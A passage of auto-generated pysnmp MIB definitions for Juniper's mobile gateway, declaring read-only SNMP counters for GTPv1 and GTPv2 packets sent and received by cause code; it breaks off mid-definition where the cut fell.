jnxMbgSgwGtpV2ICsNOTFTUECTXTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 142), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNOTFTUECTXTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNOTFTUECTXTx.setDescription('Number of GTP packets sent with cause UE Context Without TFT Exists.') jnxMbgSgwGtpV2ICsProtoNtSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 143), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsProtoNtSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsProtoNtSupRx.setDescription('Number of GTPV2 packets received with cause Protocol Not Supported.') jnxMbgSgwGtpV2ICsProtoNtSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 144), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsProtoNtSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsProtoNtSupTx.setDescription('Number of GTP packets sent with cause Protocol Not Supported.') jnxMbgSgwGtpV2ICsUENotRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 145), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUENotRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUENotRespRx.setDescription('Number of GTPV2 packets received with cause UE Not Responding.') jnxMbgSgwGtpV2ICsUENotRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 146), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUENotRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUENotRespTx.setDescription('Number of GTP packets sent with cause UE Not Responding.') jnxMbgSgwGtpV2ICsUERefusesRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 147), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUERefusesRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUERefusesRx.setDescription('Number of GTPV2 packets received with cause UE Refuses.') jnxMbgSgwGtpV2ICsUERefusesTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 148), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUERefusesTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUERefusesTx.setDescription('Number of GTP packets sent with cause UE Refuses.') jnxMbgSgwGtpV2ICsServDeniedRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 149), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServDeniedRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServDeniedRx.setDescription('Number of GTPV2 packets received with cause Service Denied.') jnxMbgSgwGtpV2ICsServDeniedTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 150), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServDeniedTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServDeniedTx.setDescription('Number of GTP packets sent with cause Service Denied.') jnxMbgSgwGtpV2ICsUnabPageUERx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 151), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnabPageUERx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnabPageUERx.setDescription('Number of GTPV2 packets received with cause Unable to Page UE.') jnxMbgSgwGtpV2ICsUnabPageUETx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 152), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnabPageUETx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnabPageUETx.setDescription('Number of GTP packets sent with cause Unable to Page UE.') jnxMbgSgwGtpV2ICsNoMemRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 153), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoMemRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoMemRx.setDescription('Number of GTPV2 packets received with cause No Memory.') jnxMbgSgwGtpV2ICsNoMemTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 154), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoMemTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoMemTx.setDescription('Number of GTP packets sent with cause No Memory.') jnxMbgSgwGtpV2ICsUserAUTHFlRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 155), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUserAUTHFlRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUserAUTHFlRx.setDescription('Number of GTPV2 packets received with cause User AUTH Failed.') jnxMbgSgwGtpV2ICsUserAUTHFlTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 156), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUserAUTHFlTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUserAUTHFlTx.setDescription('Number of GTP packets sent with cause User AUTH Failed.') jnxMbgSgwGtpV2ICsAPNAcsDenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 157), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNAcsDenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNAcsDenRx.setDescription('Number of GTPV2 packets received with cause APN Access Denied.') jnxMbgSgwGtpV2ICsAPNAcsDenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 158), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNAcsDenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNAcsDenTx.setDescription('Number of GTP packets sent with cause APN Access Denied.') jnxMbgSgwGtpV2ICsReqRejRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 159), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqRejRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqRejRx.setDescription('Number of GTPV2 packets received with cause Request Rejected.') jnxMbgSgwGtpV2ICsReqRejTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 160), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqRejTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqRejTx.setDescription('Number of GTP packets sent with cause Request Rejected.') jnxMbgSgwGtpV2ICsPTMSISigMMRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 161), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTMSISigMMRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTMSISigMMRx.setDescription('Number of GTPV2 packets received with cause P-TMSI Signature Mismatch.') jnxMbgSgwGtpV2ICsPTMSISigMMTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 162), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTMSISigMMTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTMSISigMMTx.setDescription('Number of GTP packets sent with cause P-TMSI Signature Mismatch') jnxMbgSgwGtpV2ICsIMSINotKnRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 163), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsIMSINotKnRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsIMSINotKnRx.setDescription('Number of GTPV2 packets received with cause IMSI Not Known.') jnxMbgSgwGtpV2ICsIMSINotKnTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 164), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsIMSINotKnTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsIMSINotKnTx.setDescription('Number of GTP packets sent with cause IMSI Not Known.') jnxMbgSgwGtpV2ICsCondIEMsRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 165), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCondIEMsRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCondIEMsRx.setDescription('Number of GTPV2 packets received with cause Conditional IE Missing.') jnxMbgSgwGtpV2ICsCondIEMsTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 166), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCondIEMsTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCondIEMsTx.setDescription('Number of GTP packets sent with cause Conditional IE Missing.') jnxMbgSgwGtpV2ICsAPNResTIncRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 167), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNResTIncRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNResTIncRx.setDescription('Number of GTPV2 packets received with cause APN Restriction Type Incompatible.') jnxMbgSgwGtpV2ICsAPNResTIncTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 168), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNResTIncTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAPNResTIncTx.setDescription('Number of GTP packets sent with cause APN Restriction Type Incompatible.') jnxMbgSgwGtpV2ICsUnknownRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 169), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnknownRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnknownRx.setDescription('Number of GTPV2 packets received with cause Unknown.') jnxMbgSgwGtpV2ICsUnknownTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 170), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnknownTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnknownTx.setDescription('Number of GTP packets sent with cause Unknown.') jnxMbgSgwGtpV2ICsLclDetRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 171), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsLclDetRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsLclDetRx.setDescription('Number of GTP packets received with cause Local Detach.') jnxMbgSgwGtpV2ICsLclDetTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 172), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsLclDetTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsLclDetTx.setDescription('Number of GTP packets sent with cause Local Detach.') jnxMbgSgwGtpV2ICsCmpDetRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 173), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCmpDetRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCmpDetRx.setDescription('Number of GTP packets received with cause Complete Detach.') jnxMbgSgwGtpV2ICsCmpDetTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 174), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCmpDetTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCmpDetTx.setDescription('Number of GTP packets sent with cause Complete Detach.') jnxMbgSgwGtpV2ICsRATChgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 175), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRATChgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRATChgRx.setDescription('Number of GTP packets received with cause RAT changed from 3GPP to non 3GPP.') jnxMbgSgwGtpV2ICsRATChgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 176), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRATChgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRATChgTx.setDescription('Number of GTP packets sent with cause RAT changed from 3GPP to non 3GPP.') jnxMbgSgwGtpV2ICsISRDeactRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 177), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsISRDeactRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsISRDeactRx.setDescription('Number of GTP packets received with cause ISR Deactivated.') jnxMbgSgwGtpV2ICsISRDeactTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 178), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsISRDeactTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsISRDeactTx.setDescription('Number of GTP packets sent with cause ISR Deactivated.') jnxMbgSgwGtpV2ICsEIFRNCEnRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 179), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsEIFRNCEnRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsEIFRNCEnRx.setDescription('Number of GTP packets received with cause Error Indication from RNC eNodeB.') jnxMbgSgwGtpV2ICsEIFRNCEnTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 180), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsEIFRNCEnTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsEIFRNCEnTx.setDescription('Number of GTP packets sent with cause Error Indication from RNC eNodeB.') jnxMbgSgwGtpV2ICsSemErTADRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 181), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSemErTADRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSemErTADRx.setDescription('Number of GTP packets received with cause Semantic Error in TAD Operation.') jnxMbgSgwGtpV2ICsSemErTADTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 182), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSemErTADTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSemErTADTx.setDescription('Number of GTP packets sent with cause Semantic Error in TAD Operation.') jnxMbgSgwGtpV2ICsSynErTADRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 183), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSynErTADRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSynErTADRx.setDescription('Number of GTP packets received with cause Syntactic Error in TAD Operation.') jnxMbgSgwGtpV2ICsSynErTADTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 184), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSynErTADTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSynErTADTx.setDescription('Number of GTP packets sent with cause Syntactic Error in TAD Operation.') jnxMbgSgwGtpV2ICsRMValRcvRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 185), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRMValRcvRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRMValRcvRx.setDescription('Number of GTP packets received with cause Reserved Message Value Received.') jnxMbgSgwGtpV2ICsRMValRcvTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 186), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRMValRcvTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRMValRcvTx.setDescription('Number of GTP packets sent with cause Reserved Message Value Received.') jnxMbgSgwGtpV2ICsRPrNtRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 187), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRPrNtRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRPrNtRspRx.setDescription('Number of GTP packets received with cause Remote peer not responding.') jnxMbgSgwGtpV2ICsRPrNtRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 188), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRPrNtRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRPrNtRspTx.setDescription('Number of GTP packets sent with cause Remote peer not responding.') jnxMbgSgwGtpV2ICsColNWReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 189), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsColNWReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsColNWReqRx.setDescription('Number of GTP packets received with cause Collision with network initiated request.') jnxMbgSgwGtpV2ICsColNWReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 190), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsColNWReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsColNWReqTx.setDescription('Number of GTP packets sent with cause Collision with network initiated request.') jnxMbgSgwGtpV2ICsUnPgUESusRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 191), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnPgUESusRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnPgUESusRx.setDescription('Number of GTP packets received with cause Unable to page UE due to suspension.') jnxMbgSgwGtpV2ICsUnPgUESusTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 192), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnPgUESusTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnPgUESusTx.setDescription('Number of GTP packets sent with cause Unable to page UE due to suspension.') jnxMbgSgwGtpV2ICsInvTotLenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 193), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvTotLenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvTotLenRx.setDescription('Number of GTP packets received with cause Invalid total len.') jnxMbgSgwGtpV2ICsInvTotLenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 194), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvTotLenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvTotLenTx.setDescription('Number of GTP packets sent with cause Invalid total len.') jnxMbgSgwGtpV2ICsDtForNtSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 195), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDtForNtSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDtForNtSupRx.setDescription('Number of GTP packets received with cause Data forwarding not supported.') jnxMbgSgwGtpV2ICsDtForNtSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 196), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDtForNtSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDtForNtSupTx.setDescription('Number of GTP packets sent with cause Data forwarding not supported.') jnxMbgSgwGtpV2ICsInReFRePrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 197), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInReFRePrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInReFRePrRx.setDescription('Number of GTP packets received with cause Invalid Reply from Remote peer.') jnxMbgSgwGtpV2ICsInReFRePrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 198), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInReFRePrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInReFRePrTx.setDescription('Number of GTP packets sent with cause Invalid Reply from Remote peer.') jnxMbgSgwGtpV2ICsInvPrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 199), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvPrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvPrRx.setDescription('Number of GTP packets received with cause Invalid peer.') jnxMbgSgwGtpV2ICsInvPrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 200), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvPrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvPrTx.setDescription('Number of GTP packets sent with cause Invalid peer.') jnxMbgSgwGtpV1ProtocolErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 201), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1ProtocolErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1ProtocolErrRx.setDescription('Number of GTPv1 Protocol Errors Received.') jnxMbgSgwGtpV1UnSupMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 202), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1UnSupMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1UnSupMsgRx.setDescription('Number of GTPv1 Unsupported Messages received.') jnxMbgSgwGtpV1T3RespTmrExpRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 203), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1T3RespTmrExpRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1T3RespTmrExpRx.setDescription('Number of GTP V1 T3 timer expiries Received.') jnxMbgSgwGtpV1EndMarkerRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 204), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1EndMarkerRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1EndMarkerRx.setDescription('Number of GTP V1 end marker packets received.') jnxMbgSgwGtpV1EndMarkerTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 205), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1EndMarkerTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1EndMarkerTx.setDescription('Number of GTP V1 end marker packets sent.') jnxMbgSgwGtpV1EchoReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 206), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoReqRx.setDescription('Number of GTP V1 echo request packets received.') jnxMbgSgwGtpV1EchoReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 207), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoReqTx.setDescription('Number of GTP V1 echo request packets sent.') jnxMbgSgwGtpV1EchoRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 208), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoRespRx.setDescription('Number of GTP V1 echo response packets received.') jnxMbgSgwGtpV1EchoRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 209), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1EchoRespTx.setDescription('Number of GTP V1 echo response packets sent.') jnxMbgSgwGtpV1ErrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 210), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1ErrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1ErrIndRx.setDescription('Number of GTP V1 Error Indication packets received.') jnxMbgSgwGtpV1ErrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 211), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV1ErrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV1ErrIndTx.setDescription('Number of GTP V1 Error Indication packets sent.') jnxMbgSgwSuspNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 212), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwSuspNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwSuspNotifRx.setDescription('Number of GTPv2 Suspend Notification messages received.') jnxMbgSgwSuspNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 213), 